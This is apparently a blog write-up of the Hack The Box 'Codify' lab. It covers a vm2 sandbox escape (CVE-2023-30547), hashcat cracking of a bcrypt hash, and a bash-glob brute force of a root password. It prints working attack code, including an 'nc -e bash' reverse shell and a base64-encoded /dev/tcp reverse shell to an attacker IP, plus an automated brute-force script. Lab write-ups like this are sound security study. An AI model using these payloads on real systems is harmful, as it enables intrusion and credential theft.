Post

Codify Walkthrough - HTB Easy | vm2 RCE & Bash Wildcard Exploitation

Complete walkthrough of Codify from Hack The Box. Covers vm2 sandbox escape (CVE-2023-30547), Node.js RCE exploitation, SQLite database extraction, bcrypt password cracking, and bash wildcard privilege escalation.

Codify Walkthrough - HTB Easy | vm2 RCE & Bash Wildcard Exploitation

Overview

Codify is an easy-level Linux machine from Hack The Box featuring a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library that can be exploited for remote code execution. Enumeration reveals an SQLite database containing a password hash, which when cracked provides SSH access. Finally, a vulnerable bash script can be executed with elevated privileges to reveal the root user’s password through wildcard exploitation.


External Enumeration

Nmap Scan

Starting with a comprehensive port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.239 -vv -p- -sC -sV
<SNIP>
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp   open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    syn-ack Node.js Express framework
|_http-title: Codify
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

  • SSH on port 22
  • Apache redirecting to codify.htb on port 80
  • Node.js Express application on port 3000

Web Application Analysis

Initial Exploration

After adding codify.htb to /etc/hosts, port 80 redirects to the Node.js application on port 3000:

Codify Homepage

The website provides a Node.js code testing environment—a sandbox for executing JavaScript code.

Testing for Code Execution

Attempting to execute a simple reverse shell:

Testing basic payload

1
require('child_process').exec('nc -e bash 10.10.16.4 9001')

Blocked by blacklist

Result: The application has defense mechanisms in place—child_process is blacklisted.

Testing Blacklist Implementation

Testing with a different payload to confirm the blacklist isn’t hardcoded:

Testing blacklist

This confirms the filtering is dynamic and targets specific dangerous modules.


VM2 Sandbox Escape

Discovering the Vulnerability

After researching Node.js sandboxing, I discovered that require("vm") is not blocked. Further investigation led me to a known vm2 sandbox escape technique: Sandboxing Node.js is Hard

Testing the bypass:

VM2 sandbox escape test

Success! The vm2 library is vulnerable to sandbox escape.

Understanding the Exploit

The exploit chain works as follows:

1. Starting Point: this

1
this.constructor.constructor('return this.process.env')()

In JavaScript, this in the global context points to the global object. Even when code runs in a new V8 context, this maintains a reference that can be exploited.

2. The Constructor Chain

1
2
3
this  Object instance
this.constructor  Object Constructor (function that creates objects)
this.constructor.constructor  Function Constructor (function that creates functions)

The Function Constructor is special because:

  • It has access to the global scope of the main Node.js process
  • It can create functions at runtime from strings
  • It bypasses VM context restrictions

3. Arbitrary Code Execution

1
this.constructor.constructor('return this.process')()

This gives us access to the main process object, which includes child_process and other dangerous modules.


Initial Access

Crafting the Reverse Shell

Using the vm2 escape to obtain a reverse shell on port 9001:

1
2
3
4
5
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ==" | base64 -d | bash').toString()`);
console.log(xyz);

Foothold achieved as user svc


Lateral Movement

Internal Enumeration

Exploring the web application directory /var/www/contact:

1
2
3
4
5
6
7
8
9
svc@codify:/var/www/contact$ ls -al
total 120
drwxr-xr-x 3 svc  svc   4096 Sep 12  2023 .
drwxr-xr-x 5 root root  4096 Sep 12  2023 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12  2023 tickets.db

Important discovery: SQLite database file tickets.db

Exfiltrating the Database

Setting up a simple HTTP server to download the database:

1
2
3
svc@codify:/var/www/contact$ python3 -m http.server
python3 -m http.server
10.10.16.4 - - [30/Nov/2025 15:38:00] "GET /tickets.db HTTP/1.1" 200 -

On the attacking machine:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[dua2z3rr@parrot]─[~]
└──╼ $wget http://codify.htb:8000/tickets.db
--2025-11-30 16:38:00--  http://codify.htb:8000/tickets.db
Resolving codify.htb (codify.htb)... 10.10.11.239
Connecting to codify.htb (codify.htb)|10.10.11.239|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20480 (20K) [application/octet-stream]
Saving to: 'tickets.db'

tickets.db                100%[=================================>]  20.00K  --.-KB/s    in 0.08s   

2025-11-30 16:38:00 (251 KB/s) - 'tickets.db' saved [20480/20480]

Analyzing the Database

Examining the SQLite database:

1
2
3
4
5
6
7
8
┌─[dua2z3rr@parrot]─[~]
└──╼ $sqlite3 tickets.db 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
tickets  users  
sqlite> SELECT * FROM users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Credentials found:

  • Username: joshua
  • Password hash: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 (bcrypt)

Password Cracking

Identifying the Hash Type

The hash format $2a$12$ identifies this as a bcrypt hash.

Cracking with Hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─[dua2z3rr@parrot]─[~]
└──╼ $echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash.txt

┌─[dua2z3rr@parrot]─[~]
└──╼ $hashcat -m 3200 -a 0 hash.txt rockyou.txt 
hashcat (v6.2.6) starting

<SNIP>

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Time.Started.....: Sun Nov 30 16:44:16 2025 (58 secs)
Time.Estimated...: Sun Nov 30 16:45:14 2025 (0 secs)
Speed.#1.........:       25 H/s (8.15ms)
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1408/14344385 (0.01%)

Password cracked: spongebob1

SSH Access

1
2
3
4
5
6
┌─[dua2z3rr@parrot]─[~]
└──╼ $ssh joshua@codify.htb
joshua@codify.htb's password: spongebob1
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

joshua@codify:~$

User flag obtained.


Privilege Escalation

Sudo Enumeration

Checking sudo permissions:

1
2
3
4
5
6
7
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Key finding: User joshua can execute /opt/scripts/mysql-backup.sh as root.

Analyzing the Backup Script

Examining the vulnerable script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

# ... backup operations ...

Vulnerability Analysis

The vulnerability lies in the password comparison:

1
if [[ $DB_PASS == $USER_PASS ]]; then

When using [[ ]] in bash:

  • With quotes: The right side is treated as a literal string
  • Without quotes: The right side is treated as a glob pattern

Example:

1
2
3
4
5
6
7
8
9
10
11
string="hello world"

# Without quotes - pattern matching
if [[ $string == hello* ]]; then
    echo "Match!"  # This prints "Match!"
fi

# With quotes - literal comparison
if [[ $string == "hello*" ]]; then
    echo "Match!"  # This does NOT print anything
fi

In the script, $USER_PASS is not quoted, so we can use wildcards to brute-force the password character by character.


Exploiting Bash Wildcards

Understanding the Attack

We can brute-force each character of the root password using the wildcard *:

  • Input a* → If password starts with ‘a’, it matches
  • Input ab* → If password starts with ‘ab’, it matches
  • Continue until we discover the full password

Automated Exploit Script

Python script to automate the wildcard brute-force:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import subprocess

lista = ['q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','1','2','3','4','5','6','7','8','9','0','!','?','$','%','&','/','(',')','=','-']

passwordCorretta=""
temp=""
ancora=True

while ancora:
	ancora=False
	for i in lista:
		temp=passwordCorretta+i+'*'
		comando=f"echo '{temp}' | sudo /opt/scripts/mysql-backup.sh"
		risultato = subprocess.run(comando, shell=True, capture_output=True, text=True)
		
		if "failed" in risultato.stdout:
			print("character " + i +" is wrong")
		else:
			passwordCorretta=passwordCorretta+i
			print("character " + i +" is right")
			ancora=True
			break

print(passwordCorretta)

Running the Exploit

1
2
3
4
5
6
7
8
9
10
11
character q is wrong
character w is wrong
character e is wrong
character r is wrong
<SNIP>
character k is right
character l is right
character j is right
character h is right
<SNIP>
kljh12k3jhaskjh12kjh3

Root password discovered: kljh12k3jhaskjh12kjh3

Root Access

1
2
3
joshua@codify:~$ su root
Password: kljh12k3jhaskjh12kjh3
root@codify:/home/joshua#

Root flag obtained. Box completed.


Reflections

What Surprised Me

The vm2 sandbox escape really opened my eyes to how difficult it is to properly sandbox JavaScript. Even though child_process was explicitly blacklisted, the prototype chain manipulation completely bypassed those restrictions. This isn’t just an academic vulnerability—vm2 was used in production environments, and this CVE (CVE-2023-30547) affected real applications. It made me realize that “sandboxing” is much harder than it appears, and you can’t just blacklist dangerous functions and call it secure.

Alternative Approaches

For the privilege escalation, I could have approached the bash wildcard vulnerability differently. Instead of writing a Python script, I could have used a bash one-liner with a loop to achieve the same result.

Open Question

The bash wildcard vulnerability was surprisingly simple to exploit, but how common is this pattern in real-world scripts? Do experienced sysadmins know to always quote variables in bash conditionals, or is this a mistake that still shows up frequently? I’m also curious: are there automated tools that scan bash scripts for this kind of vulnerability, similar to how static analysis tools work for other languages?


Completed this box? What was your approach to escalate privileges? Comment down below!

This post is licensed under CC BY 4.0 by the author.